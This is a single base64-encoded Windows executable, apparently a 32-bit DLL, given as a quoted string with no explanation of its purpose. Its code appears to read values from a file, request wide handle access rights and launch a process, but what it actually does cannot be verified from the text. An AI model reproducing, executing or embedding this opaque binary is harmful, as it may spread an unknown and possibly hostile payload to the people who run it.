"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADdVlQymTc6YZk3OmGZNzph32blYYw3OmHfZtph7Dc6Yd9m22G1NzphRMjxYZ43OmGZNzthzzc6YZRl32GaNzphlGXmYZg3OmGUZeFhmDc6YZRl5GGYNzphUmljaJk3OmEAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBQDk6PtSAAAAAAAAAADgAAIhCwEMAADqAAAAtAAAAAAAAIUtAAAAEAAAAAABAAAAABAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAA4AEAAAQAAAAAAAACAEABAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAGIBAEUAAABIYgEAUAAAAACwAQDgAQAAAAAAAAAAAAAAAAAAAAAAAADAAQAwEgAAcAEBADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgVwEAQAAAAAAAAAAAAAAAAAABACgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAGvpAAAAEAAAAOoAAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAaaQAAAAABAABqAAAA7gAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAQDIAAABwAQAAFAAAAFgBAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAOABAAAAsAEAAAIAAABsAQAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAwEgAAAMABAAAUAAAAbgEAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGhg+QAQ6BUbAABZw8zMzMxoUPkAEOgFGwAAWcPMzMzMaED5ABDo9RoAAFnDzMzMzFWL7PZFCAFWi/HHBggPARB0CVboDhsAAIPEBIvGXl3CBADMzMzMzMzMzMzMzMzMzFWL7ItFCItVDIkQiUgEXcIIAMzMzMzMzMzMzMzMzMzMVYvsiwGNVfiD7Aj/dQhS/1AMi1UMi0gEO0oEdQ6LADsCdQiwAYvlXcIIADLAi+VdwggAzMzMzMzMzMzMzMzMzFWL7ItFCDtIBHUNiwA7RQx1BrABXcIIADLAXcIIAMzMuABVARDDzMzMzMzMzMzMzFWL7FFW/3UMx0X8AAAAAOjyEAAAi3UIg8QEhcC6CFUBEA9F0MdGFA8AAADHRhAAAAAAxgYAgDoAdRQzyVFSi87oGwMAAIvGXovlXcIIAIvKV415AYoBQYTAdfkrz19RUovO6PkCAACLxl6L5V3CCAC4GFUBEMPMzMzMzMzMzMzMVYvsUYtFDMdF/AAAAABWi3UIg/gBdShqFcdGFA8AAACLzsdGEAAAAABoJFUBEMYGAOiqAgAAi8Zei+VdwggAUFboOv///4vGXovlXcIIAMy4PFUBEMPMzMzMzMzMzMzMVYvsUVb/dQzHRfwAAAAA6DwQAACLdQiDxASFwLoIVQEQD0XQx0YUDwAAAMdGEAAAAADGBgCAOgB1FDPJUVKLzug7AgAAi8Zei+VdwggAi8pXjXkBigFBhMB1+SvPX1FSi87oGQIAAIvGXovlXcIIAFWL7FaLdQxW6KkPAACDxASFwItFCIkwdAzHQATsgQEQXl3CCADHQATogQEQXl3CCADMzMzMzMzMzMzMzMzMzMy4AQAAAMIMAMzMzMzMzMzMVYvsVovxi00Ix0YUDwAAAMdGEAAAAADGBgCAOQB1EjPSUlGLzuiWAQAAi8ZeXcIEAIvRV416AYoCQoTAdfkr119SUYvO6HYBAACLxl5dwgQAzMzMzMzMzMzMzMzMzMzMVovxg34UEHIK/zboVhgAAIPEBMdGFA8AAADHRhAAAAAAxgYAXsPMzMzMzMzMzMzMVYvsU4tdCFZXi/GLTQyLexA7+Q+C6QAAACv5OX0QD0J9EDvzdUeNBA85RhAPgtoAAACDfhQQiUYQchmLFlFqAIvOxgQCAOjlAQAAX4vGXltdwgwAi9ZRagCLzsYEAgDozAEAAF+Lxl5bXcIMAIP//g+HoAAAAItGFDvHcyT/dhCLzlfoOAMAAItNDIX/dGqDexQQcgKLG4N+FBByKosW6yiF/3XqiX4Qg/gQcg6LBl/GAACLxl5bXcIMAIvGX15bxgAAXcIMAIvWhf90DleNBAtQUujoGgAAg8QMg34UEIl+EHIPiwbGBDgAi8ZfXltdwgwAi8bGBDgAX4vGXltdwgwAaFRVARDoPQ8AAGhUVQEQ6DMPAABoRFUBEOj7DgAAzMzMzMzMzMzMzMzMzMzMzFWL7FOLXQhWi/GF23RXi04Ug/kQcgSLBusCi8Y72HJFg/kQcgSLFusCi9aLRhADwjvDdjGD+RByFv91DIsGi84r2FNW6If+//9eW13CCAD/dQyLxovOK9hTVuhx/v//XltdwggAV4t9DIP//nd+i0YUO8dzGf92EIvOV+gQAgAAhf90X4N+FBByKosG6yiF/3XyiX4Qg/gQcg6LBl/GAACLxl5bXcIIAIvGX15bxgAAXcIIAIvGhf90C1dTUOjOGQAAg8QMg34UEIl+EHIPiwbGBDgAi8ZfXltdwggAi8bGBDgAX4vGXltdwggAaERVARDo9Q0AAMzMzMzMzMzMzMxVi+xWi/GLTQhXi34QO/lyfotVDIvHK8E7wncjg34UEIlOEHIOiwZfxgQIAIvGXl3CCACLxl9exgQIAF3CCACF0nREg34UEHIEiwbrAovGK/pTjRwIi8crwXQOUI0EE1BT6PoNAACDxAyDfhQQiX4QW3IOiwbGBDgAi8ZfXl3CCACLxsYEOABfi8ZeXcIIAGhUVQEQ6IANAADMzMzMzMzMVYvsg3kUEItVCIlREHIKiwHGBBAAXcIEAMYEEQBdwgQAzMzMzMzMzMzMzMzMzMzMVYvsVleLfQiL8YP//g+HkwAAAItGFDvHcxf/dhBX6J0AAAAzwDvHXxvA99heXcIIAIB9DAB0UIP/EHNLU4teEDv7D0Lfg/gQciCLBolFDIXbdA5TUFboZRgAAItFDIPEDFDozxQAAIPEBDPAiV4Qx0YUDwAAADvHxgQzAFsbwF/32F5dwggAhf91DYl+EIP4EHICizbGBgAzwDvHXxvA99heXcIIAGhEVQEQ6GsMAADMzMzMzMzMzMzMzMzMzMzMVYvsav9oAPkAEGShAAAAAFCD7AxTVlehCHABEDPFUI1F9GSjAAAAAIll8IvxiXXoi0UIi/iDzw+D//52BIv46yeLXhS4q6qqqvfni8vR6dHqO8p2E7j+////jTwZK8E72HYFv/7///+NTwHHRfwAAAAAM8CJReyFyXRGg/n/dxBR6EAUAACDxASJReyFwHUx6JULAACLRQiNTQuJRexAiWXwUMZF/ALopAAAAIlFCLiVFwAQw4t97ItFCIt16IlF7ItdDIXbdEiDfhQQcjGLDusvi3Xog34UEHIK/zbolBMAAIPEBGoAx0YUDwAAAMdGEAAAAABqAMYGAOjcHQAAi86F23QLU1FQ6PMWAACDxAyDfhQQcgr/NuhZEwAAg8QEi0XsxgYAiQaJfhSJXhCD/xByAovwxgQeAItN9GSJDQAAAABZX15bi+VdwggAzMzMVYvsi0UIM8mFwHQUg/j/dxVQ6F8TAACLyIPEBIXJdAaLwV3CBADorwoAAMzMzMzMVYvsg+T4gezMAAAAoQhwARAzxImEJMgAAABTVldqAGiAAAAAagNqAGoDaAAAAMBobFUBEP8VIAABEIv4g///D4TRAwAAaAICAADo6AoAAIvwaAICAACJdCQg6NgKAABoAgIAAIvY6MwKAACDxAyJRCQcjUQkDMdEJAwAAAAAagBQaAACAABWizUUAAEQV//WhcAPhH4DAACLRCQMM9KLTCQY0ehSZokUQY1EJBBQaAACAABTV4lUJCD/1oXAD4RTAwAAi0QkDDPJ0ehRZokMQ41EJBBQaAACAAD/dCQoiUwkHFf/1oXAD4QpAwAAi0QkDDPSi0wkHNHoUmaJFEGNRCQQUGoBjUQkNIlUJBhQV8dEJDwKAAAA/9aFwA+E9QIAAGoAjUQkEMdEJBAAAAAAUGoBjUQkQMdEJEAAAAAAUFf/1oXAD4TMAgAAjUQkIMdEJAwAAAAAUMdEJCQAAAAA/xUgAQEQhcB0K4vQjUwkcOisBwAAuoxVARBQjUwkXOjNAwAAg8QEjUwkcOgB+f//6WACAACDfCQgAHUKaLxVARDpRgIAAA9XwMZEJBcAjUQkF2YP1kQkOIlEJDwzwIlEJDiJRCQQi0QkNGaD+AF1G4tMJBiNRCQQUP90JCCL0770VQEQ6EgCAADrI2aD+AIPhfIBAACLTCQYjUQkEFD/dCQgi9O+HFYBEOgjAgAAg8QIiUQkGMdEJCwAAAAAagjoIxEAAIvQg8QEhdJ0CQ9XwGYP1gLrAjPSi86JcgSNWQGQigFBhMB1+SvLZokKjU4BkIoGRoTAdfmNRCQsK/FQUmaJcgL/dCQo/xUcAQEQhcB0HFD/FQgAARCL0I1MJHDo7QUAALpgVgEQ6ez+////FRgAARCNTCQwx0QkMAAAAABRaP8BDwBQ/xUEAAEQhcB1G/8VHAABEIvQjUwkcOgvBQAAupxWARDprv7//41EJEzHRCRMAAAAAFBqEI2EJJAAAAAPV8BQagf/dCRADxGEJJwAAAD/FQAAARCFwHUKaMxWARDp5AAAAI1EJETHRCRAAAAAAFCNhCS0AAAAx0QkTAAAAABQjUQkLMdEJCwAAAAAUI1EJFzHRCRQAAAAAFCNRCRYUI1EJFRQjYQkoAAAAFAPt0QkRGoA/3QkMP90JDz/dCRUUI1EJGhQ/3QkVP8VGAEBEIXAdBxQ/xUIAAEQi9CNTCRw6JcFAAC68FYBEOnm/f///3QkJP8VDAABEGggVwEQjYwknAAAAOiC9v//g+wYjYQksAAAAIvMUOgwBQAAi8/oOQEAAIPEGGoAagBqAP8VPAABEIs1JAABEI1kJABq///W6/poKFYBEI1MJFzoPPb//4PsGI1EJHCLzFDo7QQAAIvP6PYAAACDxBiNTCRY6Hr2//+LjCTUAAAAX15bM8zoGQcAAIvlXcPMzMzMzFWL7IPsDFNWV4v5i9pXiV34/xUoAAEQU4sdKAABEIvw/9P/dQgD8P/TA8aNBEUcAAAAUIlF9OjMBgAAg8QEiUX8jVgcxwACAAAAV/8VKAABEIvwi0X8A/ZWV1NmiXAEZolwBolYCOjlEQAAi334g8QMA95X/xUoAAEQi/CLRfwD9lZXU2aJcAxmiXAOiVgQ6LwRAACLfQiDxAwD3lf/FSgAARCLdfwDwFBXU2aJRhRmiUYWiV4Y6JURAACLRQyDxAyLTfRfiQiLxl5bi+Vdw8xVi+xRg30cEI1VCFYPQ1UIi/GLwsdF/AAAAABXjXgBkIoIQITJdflqAI1N/CvHUVBSVv8VLAABEIN9HBBfXnIL/3UI6K4NAACDxASL5V3DzFWL7FGAOgBWV4v5x0X8AAAAAHUEM/brEYvyjU4BjUkAigZGhMB1+SvxVlJRi00I6FwAAACL8MdHFA8AAADHRxAAAAAAxgcAg34UEHMTi0YQQHQXUFZX6KUFAACDxAzrCosGiQfHBgAAAACLRhCJRxCLRhSJRxSLx8dGFA8AAADHRhAAAAAAX8YGAF6L5V3DzFWL7FZXi30Mi/GF/3RZi04Ug/kQcgSLBusCi8Y7+HJHg/kQcgSLFusCi9aLRhADwjvHdjOD+RByF/91EIsGK/hXVlGLzui2AAAAX15dwgwA/3UQi8Yr+FdWUYvO6J8AAABfXl3CDACLThCDyP9Ti10QK8E7w3Zzhdt0Zo0EGYvOagBQiUUQ6FX3//+EwHRSi0YUg/gQcgSLFusCi9aD+BByBIsG6wKLxotOEIXJdA1RUgPDUOi3BAAAg8QMg34UEHIEiwbrAovGhdt0C1NXUOjMDwAAg8QM/3UQi87oz/b//1tfi8ZeXcIMAGhEVQEQ6AcEAADMzMzMzMzMzMzMzMxVi+yLRRBTi10MVovxV4tLEDvID4LiAAAAi30UK8g7zw9C+YtOEIPI/yvBO8cPhr4AAACF/w+ErQAAAI0EOYvOagBQiUUM6JX2//+EwA+ElQAAAItGFIP4EHIEixbrAovWg/gQcgSLBusCi8aLThCFyXQNUVIDx1Do8wMAAIPEDDvzdTKLRRCFwHQCA8eLThSD+RByBIsW6wKL1oP5EHIEiw7rAovOhf90NFcDwlBR6LwDAADrJYN7FBByAosbg34UEHIEiw7rAovOhf90EItFEFcDw1BR6MUOAACDxAz/dQyLzujI9f//X4vGXltdwhAAaERVARDoAAMAAGhUVQEQ6CQDAADMzMzMzMzMzMzMzFWL7IPsSKEIcAEQM8WJRfxWUmiQVwEQjUW8x0W4AAAAAGpAUIvx6HwLAADHRhQPAAAAg8QQx0YQAAAAAMYGAIB9vAB1BDPJ6xCNTbyNUQGQigFBhMB1+SvKUY1FvIvOUOib8///i038i8YzzV7o3gIAAIvlXcPMzMzMzMzMzMzMVYvsg+xIoQhwARAzxYlF/FZSaJRXARCNRbzHRbgAAAAAakBQi/Ho/AoAAMdGFA8AAACDxBDHRhAAAAAAxgYAgH28AHUEM8nrEI1NvI1RAZCKAUGEwHX5K8pRjUW8i85Q6Bvz//+LTfyLxjPNXuheAgAAi+Vdw8zMzMzMzMzMzMxVi+xWi/Fq/2oA/3UIx0YUDwAAAMdGEAAAAADGBgDorfH//4vGXl3CBADMzMzMzMxVi+yD7EihCHABEDPFiUX8VlJomFcBEI1FvMdFuAAAAABqQFCL8ehMCgAAx0YUDwAAAIPEEMdGEAAAAADGBgCAfbwAdQQzyesQjU28jVEBkIoBQYTAdfkrylGNRbyLzlDoa/L//4tN/IvGM81e6K4BAACL5V3DVYvsgz2UCAEQALiQCAEQdBCLTQg5CHQNg8AIg3gEAHXzM8Bdw4tABF3DVYvsgz08BgEQALg4BgEQdBCLTQg5CHQNg8AIg3gEAHXzM8Bdw4tABF3DVYvsVv91CIvx6J8YAADHBngPARCLxl5dwgQAVYvsVv91CIvx6IQYAADHBqAPARCLxl5dwgQAVYvsVv91CIvx6GkYAADHBpQPARCLxl5dwgQAVYvsVv91CIvx6E4YAADHBqwPARCLxl5dwgQAxwF4DwEQ6VkYAADpVBgAAFWL7FaL8ccGeA8BEOhDGAAA9kUIAXQHVuhzCAAAWYvGXl3CBABVi+xWi/HoJBgAAPZFCAF0B1boVAgAAFmLxl5dwgQAVYvsg+wQagGNRfzHRfyADwEQUI1N8Oi3FwAAaHxcARCNRfDHRfB4DwEQUOiBEgAAzFWL7IPsDItFCI1N9IlFCI1FCFDoZBcAAGjsXAEQjUX0x0X0oA8BEFDoUxIAAMxVi+yD7AyLRQiNTfSJRQiNRQhQ6DYXAABoKF0BEI1F9MdF9KwPARBQ6CUSAADMVYvsXekGCAAAOw0IcAEQdQLzw+lyGAAAzFdWi3QkEItMJBSLfCQMi8GL0QPGO/52CDv4D4JoAwAAD7olvIYBEAFzB/Ok6RcDAACB+YAAAAAPgs4BAACLxzPGqQ8AAAB1Dg+6JRBwARABD4LaBAAAD7olvIYBEAAPg6cBAAD3xwMAAAAPhbgBAAD3xgMAAAAPhZcBAAAPuucCcw2LBoPpBI12BIkHjX8ED7rnA3MR8w9+DoPpCI12CGYP1g+Nfwj3xgcAAAB0Yw+65gMPg7IAAABmD29O9I129GYPb14Qg+kwZg9vRiBmD29uMI12MIP5MGYPb9NmDzoP2QxmD38fZg9v4GYPOg/CDGYPf0cQZg9vzWYPOg/sDGYPf28gjX8wfbeNdgzprwAAAGYPb074jXb4jUkAZg9vXhCD6TBmD29GIGYPb24wjXYwg/kwZg9v02YPOg/ZCGYPfx9mD2/gZg86D8IIZg9/RxBmD2/NZg86D+wIZg9/byCNfzB9t412COtWZg9vTvyNdvyL/2YPb14Qg+kwZg9vRiBmD29uMI12MIP5MGYPb9NmDzoP2QRmD38fZg9v4GYPOg/CBGYPf0cQZg9vzWYPOg/sBGYPf28gjX8wfbeNdgSD+RB8E/MPbw6D6RCNdhBmD38PjX8Q6+gPuuECcw2LBoPpBI12BIkHjX8ED7rhA3MR8w9+DoPpCI12CGYP1g+NfwiLBI3oJgAQ/+D3xwMAAAB1FcHpAoPiA4P5CHIq86X/JJXoJgAQkIvHugMAAACD6QRyDIPgAwPI/ySF/CUAEP8kjfgmABCQ/ySNfCYAEJAMJgAQOCYAEFwmABAj0YoGiAeKRgGIRwGKRgLB6QKIRwKDxgODxwOD+QhyzPOl/ySV6CYAEI1JACPRigaIB4pGAcHpAohHAYPGAoPHAoP5CHKm86X/JJXoJgAQkCPRigaIB4PGAcHpAoPHAYP5CHKI86X/JJXoJgAQjUkA3yYAEMwmABDEJgAQvCYAELQmABCsJgAQpCYAEJwmABCLRI7kiUSP5ItEjuiJRI/oi0SO7IlEj+yLRI7wiUSP8ItEjvSJRI/0i0SO+IlEj/iLRI78iUSP/I0EjQAAAAAD8AP4/ySV6CYAEIv/+CYAEAAnABAMJwAQICcAEItEJAxeX8OQigaIB4tEJAxeX8OQigaIB4pGAYhHAYtEJAxeX8ONSQCKBogHikYBiEcBikYCiEcCi0QkDF5fw5CNdDH8jXw5/PfHAwAAAHUkwekCg+IDg/kIcg3986X8/ySVhCgAEIv/99n/JI00KAAQjUkAi8e6AwAAAIP5BHIMg+ADK8j/JIWIJwAQ/ySNhCgAEJCYJwAQvCcAEOQnABCKRgMj0YhHA4PuAcHpAoPvAYP5CHKy/fOl/P8klYQoABCNSQCKRgMj0YhHA4pGAsHpAohHAoPuAoPvAoP5CHKI/fOl/P8klYQoABCQikYDI9GIRwOKRgKIRwKKRgHB6QKIRwGD7gOD7wOD+QgPglb////986X8/ySVhCgAEI1JADgoABBAKAAQSCgAEFAoABBYKAAQYCgAEGgoABB7KAAQi0SOHIlEjxyLRI4YiUSPGItEjhSJRI8Ui0SOEIlEjxCLRI4MiUSPDItEjgiJRI8Ii0SOBIlEjwSNBI0AAAAAA/AD+P8klYQoABCL/5QoABCcKAAQrCgAEMAoABCLRCQMXl/DkIpGA4hHA4tEJAxeX8ONSQCKRgOIRwOKRgKIRwKLRCQMXl/DkIpGA4hHA4pGAohHAopGAYhHAYtEJAxeX8ONpCQAAAAAV4vGg+APhcAPhdIAAACL0YPhf8HqB3RljaQkAAAAAJBmD28GZg9vThBmD29WIGYPb14wZg9/B2YPf08QZg9/VyBmD39fMGYPb2ZAZg9vblBmD292YGYPb35wZg9/Z0BmD39vUGYPf3dgZg9/f3CNtoAAAACNv4AAAABKdaOFyXRPi9HB6gSF0nQXjZsAAAAAZg9vBmYPfweNdhCNfxBKde+D4Q90KovBwekCdA2LFokXjXYEjX8ESXXzi8iD4QN0D4oGiAdGR0l1942bAAAAAFheX8ONpCQAAAAA6wPMzMy6EAAAACvQK8pRi8KLyIPhA3QJihaIF0ZHSXX3wegCdA2LFokXjXYEjX8ESHXzWen6/v//VmoEaiDosxgAAFlZi/BW/xVEAAEQozCiARCjLKIBEIX2dQVqGFhew4MmADPAXsNqDGhoXQEQ6GEZAACDZeQA6AcXAACDZfwA/3UI6CMAAABZi/CJdeTHRfz+////6AsAAACLxuh4GQAAw4t15OjiFgAAw1WL7FFTVos1SAABEFf/NTCiARD/1v81LKIBEIlF/P/Wi9iLRfw72A+CggAAAIv7K/iNTwSD+QRydlDo2hcAAIvwjUcEWTvwc0e4AAgAADvwcwKLxotd/APGO8ZyDVBT6HUYAABZWYXAdRSNRhA7xnI+UFPoYRgAAFlZhcB0McH/AlCNHLj/FUQAARCjMKIBEP91CP8VRAABEI1LBIkDUf8VRAABEKMsogEQi0UI6wIzwF9eW4vlXcNVi+z/dQjo+f7///fYWRvA99hIXcP/NfiGARD/FUgAARCFwHQC/9BqAWoA6DUaAABZWelNGgAA6ZgaAABRxwG4DwEQ6EUjAABZw1WL7I1BCVCLRQiDwAlQ6KQiAAD32FkbwFlAXcIEAFWL7FaL8ejJ////9kUIAXQHVui4////WYvGXl3CBABVi+yD7BDrDf91COj5IwAAWYXAdBH/dQjoWiMAAFmFwHTmi+Vdw2oBjUX8x0X8gA8BEFCNTfDo+w4AAGh8XAEQjUXwx0XweA8BEFDoxQkAAMxVi+yNRRRQagD/dRD/dQz/dQjohScAAIPEFF3DaghoiF0BEOhxFwAAi0UMg/gBdXronS0AAIXAdQczwOlGAQAA6PosAACFwHUH6JktAADr6eiJOAAA/xVMAAEQozyiARDoPDQAAKOMgwEQ6IAtAACFwHkH6D0tAADrz+h2MAAAhcB4IOicMgAAhcB4F2oA6I0TAABZhcB1C/8FiIMBEOngAAAA6PsvAADryYXAdWWhiIMBEIXAfoJIo4iDARCDZfwAgz3ohgEQAHUF6EITAADoFBIAAIt1EIX2dQ/owy8AAOjQLAAA6P0sAADHRfz+////6AgAAADpiAAAAIt1EIX2dQ6DPehyARD/dAXopSwAAMPrcIP4AnVe/zXocgEQ6Eg0AABZhcB1W2i8AwAAagHohhUAAFlZi/CF9g+E+f7//1b/NehyARDoPjQAAFlZhcB0GGoAVugyKwAAWVn/FVAAARCJBoNOBP/rGVbojBgAAFnpw/7//4P4A3UIagDoTSoAAFkzwEDoUxYAAMIMAFWL7IN9DAF1BehpMgAA/3UQ/3UM/3UI6AcAAACDxAxdwgwAagxoqF0BEOjcFQAAM8BAi3UMhfZ1DDk1iIMBEA+E5AAAAINl/ACD/gF0BYP+AnU1iw28DwEQhcl0DP91EFb/dQj/0YlF5IXAD4SxAAAA/3UQVv91COgR/v//iUXkhcAPhJoAAACLXRBTVv91COhm5P//i/iJfeSD/gF1KIX/dSRTUP91COhO5P//U1f/dQjo1/3//6G8DwEQhcB0B1NX/3UI/9CF9nQFg/4DdSpTVv91COi0/f//99gbwCP4iX3kdBWhvA8BEIXAdAxTVv91CP/Qi/iJfeTHRfz+////i8frJotN7IsBUf8w/3UQ/3UM/3UI6BYAAACDxBTDi2Xox0X8/v///zPA6CAVAADDVYvsg30MAXUN/3UQagD/dQjoR/3///91GP91FOicJwAAWVldw8zMzMzMV1aLdCQQi0wkFIt8JAyLwYvRA8Y7/nYIO/gPgmgDAAAPuiW8hgEQAXMH86TpFwMAAIH5gAAAAA+CzgEAAIvHM8apDwAAAHUOD7olEHABEAEPgtoEAAAPuiW8hgEQAA+DpwEAAPfHAwAAAA+FuAEAAPfGAwAAAA+FlwEAAA+65wJzDYsGg+kEjXYEiQeNfwQPuucDcxHzD34Og+kIjXYIZg/WD41/CPfGBwAAAHRjD7rmAw+DsgAAAGYPb070jXb0Zg9vXhCD6TBmD29GIGYPb24wjXYwg/kwZg9v02YPOg/ZDGYPfx9mD2/gZg86D8IMZg9/RxBmD2/NZg86D+wMZg9/byCNfzB9t412DOmvAAAAZg9vTviNdviNSQBmD29eEIPpMGYPb0YgZg9vbjCNdjCD+TBmD2/TZg86D9kIZg9/H2YPb+BmDzoPwghmD39HEGYPb81mDzoP7AhmD39vII1/MH23jXYI61ZmD29O/I12/Iv/Zg9vXhCD6TBmD29GIGYPb24wjXYwg/kwZg9v02YPOg/ZBGYPfx9mD2/gZg86D8IEZg9/RxBmD2/NZg86D+wEZg9/byCNfzB9t412BIP5EHwT8w9vDoPpEI12EGYPfw+NfxDr6A+64QJzDYsGg+kEjXYEiQeNfwQPuuEDcxHzD34Og+kIjXYIZg/WD41/CIsEjRgyABD/4PfHAwAAAHUVwekCg+IDg/kIcirzpf8klRgyABCQi8e6AwAAAIPpBHIMg+ADA8j/JIUsMQAQ/ySNKDIAEJD/JI2sMQAQkDwxABBoMQAQjDEAECPRigaIB4pGAYhHAYpGAsHpAohHAoPGA4PHA4P5CHLM86X/JJUYMgAQjUkAI9GKBogHikYBwekCiEcBg8YCg8cCg/kIcqbzpf8klRgyABCQI9GKBogHg8YBwekCg8cBg/kIcojzpf8klRgyABCNSQAPMgAQ/DEAEPQxABDsMQAQ5DEAENwxABDUMQAQzDEAEItEjuSJRI/ki0SO6IlEj+iLRI7siUSP7ItEjvCJRI/wi0SO9IlEj/SLRI74iUSP+ItEjvyJRI/8jQSNAAAAAAPwA/j/JJUYMgAQi/8oMgAQMDIAEDwyABBQMgAQi0QkDF5fw5CKBogHi0QkDF5fw5CKBogHikYBiEcBi0QkDF5fw41JAIoGiAeKRgGIRwGKRgKIRwKLRCQMXl/DkI10MfyNfDn898cDAAAAdSTB6QKD4gOD+QhyDf3zpfz/JJW0MwAQi//32f8kjWQzABCNSQCLx7oDAAAAg/kEcgyD4AMryP8khbgyABD/JI20MwAQkMgyABDsMgAQFDMAEIpGAyPRiEcDg+4BwekCg+8Bg/kIcrL986X8/ySVtDMAEI1JAIpGAyPRiEcDikYCwekCiEcCg+4Cg+8Cg/kIcoj986X8/ySVtDMAEJCKRgMj0YhHA4pGAohHAopGAcHpAohHAYPuA4PvA4P5CA+CVv////3zpfz/JJW0MwAQjUkAaDMAEHAzABB4MwAQgDMAEIgzABCQMwAQmDMAEKszABCLRI4ciUSPHItEjhiJRI8Yi0SOFIlEjxSLRI4QiUSPEItEjgyJRI8Mi0SOCIlEjwiLRI4EiUSPBI0EjQAAAAAD8AP4/ySVtDMAEIv/xDMAEMwzABDcMwAQ8DMAEItEJAxeX8OQikYDiEcDi0QkDF5fw41JAIpGA4hHA4pGAohHAotEJAxeX8OQikYDiEcDikYCiEcCikYBiEcBi0QkDF5fw42kJAAAAABXi8aD4A+FwA+F0gAAAIvRg+F/weoHdGWNpCQAAAAAkGYPbwZmD29OEGYPb1YgZg9vXjBmD38HZg9/TxBmD39XIGYPf18wZg9vZkBmD29uUGYPb3ZgZg9vfnBmD39nQGYPf29QZg9/d2BmD39/cI22gAAAAI2/gAAAAEp1o4XJdE+L0cHqBIXSdBeNmwAAAABmD28GZg9/B412EI1/EEp174PhD3Qqi8HB6QJ0DYsWiReNdgSNfwRJdfOLyIPhA3QPigaIB0ZHSXX3jZsAAAAAWF5fw42kJAAAAADrA8zMzLoQAAAAK9ArylGLwovIg+EDdAmKFogXRkdJdffB6AJ0DYsWiReNdgSNfwRIdfNZ6fr+///MzMzMzMzMzMzMzMyLTCQE98EDAAAAdCSKAYPBAYTAdE73wQMAAAB17wUAAAAAjaQkAAAAAI2kJAAAAACLAbr//v5+A9CD8P8zwoPBBKkAAQGBdOiLQfyEwHQyhOR0JKkAAP8AdBOpAAAA/3QC682NQf+LTCQEK8HDjUH+i0wkBCvBw41B/YtMJAQrwcONQfyLTCQEK8HDVYvsg+wgVldqCFm+wA8BEI194POli3UMi30IhfZ0E/YGEHQOiw+D6QRRiwGLcBj/UCCJffiJdfyF9nQM9gYIdAfHRfQAQJkBjUX0UP918P915P914P8VVAABEF9ei+VdwggAUGT/NQAAAACNRCQMK2QkDFNWV4koi+ihCHABEDPFUIll8P91/MdF/P////+NRfRkowAAAADDVYvsVvyLdQyLTggzzug67f//agBW/3YU/3YMagD/dRD/dhD/dQjo/jsAAIPEIF5dw1WL7FFT/ItFDItICDNNDOgH7f//i0UIi0AEg+BmdBGLRQzHQCQBAAAAM8BA62zramoBi0UM/3AYi0UM/3AUi0UM/3AMagD/dRCLRQz/cBD/dQjooTsAAIPEIItFDIN4JAB1C/91CP91DOgfAgAAagBqAGoAagBqAI1F/FBoIwEAAOiAAAAAg8Qci0X8i10Mi2Mci2sg/+AzwEBbi+Vdw1WL7IPsGKEIcAEQjU3og2XoADPBi00IiUXwi0UMiUX0i0UUQMdF7FQ2ABCJTfiJRfxkoQAAAACJReiNRehkowAAAAD/dRhR/3UQ6K0tAACLyItF6GSjAAAAAIvBi+Vdw1hZhwQk/+BVi+yD7DhTgX0IIwEAAHUSuDQ4ABCLTQyJATPAQOmwAAAAg2XIAMdFzIU2ABChCHABEI1NyDPBiUXQi0UYiUXUi0UMiUXYi0UciUXci0UgiUXgg2XkAINl6ACDZewAiWXkiW3oZKEAAAAAiUXIjUXIZKMAAAAAx0X8AQAAAItFCIlF8ItFEIlF9OjjHwAAi4CAAAAAiUX4jUXwUItFCP8w/1X4WVmDZfwAg33sAHQXZIsdAAAAAIsDi13IiQNkiR0AAAAA6wmLRchkowAAAACLRfxbi+Vdw1WL7FFRi0UIU4tdDFaLcAyLSBCJTfiJdfxXi/6F23gzi1UQg/7/dQvo3SwAAItN+ItVEE5rxhQ5VAgEfQY7VAgIfgWD/v91B4t9/EuJdfyF23nQi0UURokwi0UYiTiLRQg7eAx3BDv3dgjomywAAItN+GvGFF9eWwPBi+Vdw1WL7FFTi0UMg8AMiUX8ZIsdAAAAAIsDZKMAAAAAi0UIi10Mi238i2P8/+Bbi+VdwggAVYvsUVFTVldkizUAAAAAiXX4x0X8PDkAEGoA/3UM/3X8/3UI/xVYAAEQi0UMi0AEg+D9i00MiUEEZIs9AAAAAItd+Ik7ZIkdAAAAAF9eW4vlXcIIAFWL7ItNDFaLdQiJDuiEHgAAi4iYAAAAiU4E6HYeAACJsJgAAACLxl5dw1WL7FboYh4AAIt1CDuwmAAAAHUR6FIeAACLTgSJiJgAAABeXcPoQR4AAIuImAAAAOsJi0EEO/B0D4vIg3kEAHXxXl3pkysAAItGBIlBBOvSVYvs6BMeAACLgJgAAACFwHQOi00IOQh0DItABIXAdfUzwEBdwzPAXcNVi+yD7AhTVlf8iUX8M8BQUFD/dfz/dRT/dRD/dQz/dQjoTTgAAIPEIIlF+F9eW4tF+IvlXcNVi+zoDwAAAIN9CAB0BegQRAAA2+Jdw7jFcwAQxwVEcwEQsX